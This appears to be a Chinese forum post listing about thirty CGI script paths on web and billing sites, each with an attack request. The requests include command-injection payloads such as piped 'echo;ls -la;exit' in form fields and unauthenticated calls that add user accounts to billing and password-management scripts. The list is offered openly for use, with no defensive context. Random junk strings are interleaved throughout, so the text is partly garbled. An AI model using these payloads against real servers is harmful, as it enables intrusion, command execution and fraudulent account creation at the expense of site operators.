Cgi-bin 30个漏洞＋使用方法

admin

==============================
# s/ T- o$ l6 [1 {
/ |7 V6 f9 Z' w  Y/smspass.pl
username=username&password=password
1 s/ x3 K/ X3 V8 K& R+ c
/index.cgi
+ ^# H0 t' V+ l, {! Iwei=ren&gen=command
1 j8 o$ M7 t- }! m+ r
/passmaster.cgi
0 f+ d" o, b) a' C: r" yAction=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
4 a5 g' a9 a% R' e. a9 I4 e- w
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
& q2 U) ?# ]( e: q% r& \4 _9 t, a
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
) [: U' l; b0 J* ~user=username&pass=Password&confirm=Password
$ k. k2 d+ D5 `" S* `  C4 j2 O8 z
) _+ U* G' j3 J2 I) t" J/ccbill-local.asp
% p' k8 N# X. [) X0 m- gpost_values=username:password
* O4 H: x# S, h
8 C- C6 _/ K1 j2 C/count.cgi
; X; S% u( H# r. l, L8 N* |pinfile=|echo;ls -la;exit|

: @& o3 B& T3 n5 t0 j5 b" q/recon.cgi
) A0 {6 w0 e  o9 r  X, p: S- V  A2 R/recon.cgi?search
! a! I5 l, u2 e* Jsearchoption=1&searchfor=|echo;ls -al;exit|
. j2 n7 N) W# c+ \$ N1 g; x
/verotelrum.pl
" |, v& j8 _  ^8 k+ f( ]+ Evercode=username:password:dseegsow:add:amount<&30>
+ X9 l4 G5 B5 O, L  T3 _8 z
/af.cgi
4 L- ^5 o+ y# k- I, X9 h( w_browser_out=|echo;ls -la;exit;|

' U8 `/ L, r- |" I7 S3 N/modify.cgi
username=username&password=password&expire=30

' C8 ~- s2 q1 u) \/openjournal.cgi
# ?+ `0 r- e0 I1 ]1 j1 T: Tedit=1&ct=2&go=|echo;ls -al;exit|

/ z' C& N* F9 g0 L2 h' q/gx9passwd.cgi
cmd=ADD&user=username&pass=password

" z( E* E$ s- N- y; V. o' o; }: u! W/probecontrol.cgi
( M9 e* e9 B$ d$ B) V. H4 `command=enable&username=username&password=password
" I7 \" ^0 P, I" V7 u
/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
. L# Z% i8 A3 J7 j  M7 \# ^, Rconfigfile=|echo; ls -alt; exit

/gx9passwd.cgi
3 K2 {; `$ b+ }) v; ]cmd=ADD&user=username&pass=password

/ibill*.pl
& a$ S* m% _4 {1 C" B( Yreqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
6 f  H8 h) O& d/ m1 y0 mdo=add&username=username&password=password&wpassword=password
+ B6 |$ y$ n. `# u) q" a$ J- h
* Z: F, @7 x0 k. }/usercontrol.cgi
: j" j7 X3 N7 B3 Tcommand=enable&username=USER&password=PASS

( s' {$ |$ v& Q! R+ m8 F* ?. D/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
. h; r  V3 |4 P; R& U/ J
/addusr.pl
) [2 @6 ]3 G0 f! n. c: x. E; Ouser=USER&pass=PASS&confirm=PASS

/pincount.cgi
8 q6 H2 F! p' C1 y2 V% _& `/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
; K+ _( b  G8 V4 l& X
1 ~1 Q: p- e& O8 y, i! D. N# \/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
* m5 ]5 S) R& d$ a6 ~3 ~. |7 Tusername=username&password=password&password2=password&ref1=|echo;ls -al;exit
9 b9 g$ p. d% i6 O' R4 ~, }% i' T
# x6 v0 J1 [% Q: A. ^/af.cgi
/env.cgi
2 n" r. i; l9 r# ^ADD+;echo;pwd;exit

/count.cgi
4 t. V! U% h8 |, wpinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
1 D: C  M0 C6 a- {. N
+ s+ G9 u7 W/ M! F6 H; p. h; f/add.cgi
username=username&password=password&expire=30
9 Z3 w1 E& k2 Z) `- d% z* j
" R% r" |  K# k==============================